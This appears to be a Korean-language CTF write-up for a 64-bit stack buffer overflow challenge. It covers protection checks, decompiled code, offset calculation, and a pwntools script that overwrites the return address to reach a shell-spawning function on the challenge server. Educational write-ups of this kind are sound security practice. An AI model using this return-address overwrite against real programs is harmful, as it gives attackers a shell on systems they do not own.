문제 파일을 다운로드 받으며 내용을 예측해보면 x64 환경에서 진행될 것으로 예상할 수 있었습니다. 적용되어 있는 보호기법들은 다음과 같았습니다.
[*] '/home/persian/Downloads/64bof_basic'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
우선 canary와 PIE가 안걸려있는 것을 보아 난이도가 높지는 않을 것 같아보입니다. 간단하게 실행을 통해 어떤 동작을 하는지 확인해 보았습니다.
./64bof_basic
Test
Hello Test
"Test"라는 문자열을 입력하였으나 출력은 "Hello Test" 라는 내용이 출력되었습니다. 정상적인 동작의 경우 "Hello <입력값>" 형태로 출력되는 것 같았습니다. 추가로 공백을 통해 전달하였을 경우 공백 이후의 입력값은 전달되지 않는 것을 보아 scanf()
와 같은 함수를 통해 입력받는 것을 예상할 수 있었습니다.
./64bof_basic
AAAA BBBB
Hello AAAA
제목이 BOF인 만큼 과도하게 긴 문자열을 입력할 경우 Segmentation fault가 발생하였습니다.
먼저 ghidra를 사용하여 decompile 결과를 확인 후 이를 토대로 gdb 분석을 진행하였습니다.
undefined8 main(void)
{
size_t sVar1;
char local_118 [268];
undefined4 local_c;
__isoc99_scanf(&DAT_00400741,local_118);
sVar1 = strlen(local_118);
local_c = (undefined4)sVar1;
printf("Hello %s\n",local_118);
return 0;
}
main 문 외에도 callMeMaybe()
라는 /bin/bash
를 호출하는 사용자 함수가 존재하였는데 ret의 주소를 해당 주소로 변조하면 될 것으로 보였습니다.
핵심적인 내용을 파악하자면 local_118 배열에 입력을 받고 이를 다시 출력하는 형태임을 확인할 수 있었습니다. 이때 별도의 border line에 대한 검사가 존재하지 않았기에 bof 공격이 가능해보였습니다.
Payload 작성을 위해 gdb를 사용하여 추가적인 분석을 진행하였습니다. 우선 shell을 호출하는 함수의 주소를 구하고, local_118에서 ret까지의 offset을 구하였습니다.
offset의 경우 assembly로 확인하였을 때 local_118의 위치가 rbp-0x110
이었기 때문에 0x110 + 0x8(sfp)를 통해 0x118임을 알아냈습니다.
획득한 정보들을 토대로 아래와 같은 exploit code를 작성, flag를 획득할 수 있었습니다.
#!/usr/bin/python3
import pwn
#p = pwn.process("/tmp/64bof_basic")
p = pwn.remote("ctf.j0n9hyun.xyz", 3004)
#pwn.context.log_level = 'debug'
shell = 0x0000000000400606
padding = b"A"*0x118
payload = padding
payload += pwn.p64(shell)
p.sendline(payload)
p.interactive()